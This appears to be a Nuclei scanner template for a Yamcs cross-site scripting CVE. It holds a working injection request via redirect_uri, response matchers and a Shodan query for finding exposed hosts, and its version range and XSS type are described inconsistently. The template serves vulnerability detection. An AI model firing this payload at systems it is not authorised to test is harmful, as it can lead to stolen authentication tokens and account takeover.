id: CVE-2026-55549

info:
  name: Yamcs <=5.8.6 - Cross-Site Scripting
  author: str4k3r
  severity: medium
  description: |
    Yamcs < 5.9.4 contains a stored XSS caused by inadequate HTML escaping of attacker-controlled redirect_uri parameter in authorization template, letting attackers execute JavaScript to steal authentication data, exploit requires user to open crafted URL.
  impact: |
    Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.
  remediation: |
    Update to version 5.9.4 or later.
  reference:
    - https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c
    - https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3
    - https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55549
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-55549
    epss-score: 0.01305
    epss-percentile: 0.70428
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yamcs
    product: yamcs
    shodan-query: 'title:"Yamcs"'
  tags: cve,cve2026,yamcs,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/authorize?client_id=yamcs-web&state=stable-state&response_mode=query&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fexample.com%2Fcbi0i7y\"><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="https://example.com/cbi0i7y"><script>alert(document.domain)</script>"'
          - 'value="yamcs-web"'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: content_type
        words:
          - 'text/html'
# digest: 4a0a00473045022100f626fa04de84d672f1cf9ed31ca6912600f51d1e3495ce2526993dc1bd001bf3022068861bb30bc19c1a2537dbb4a9de7eaba6b9e2502c753b1d3357ba23e48063ca:922c64590222798bb761d5b6d8e72950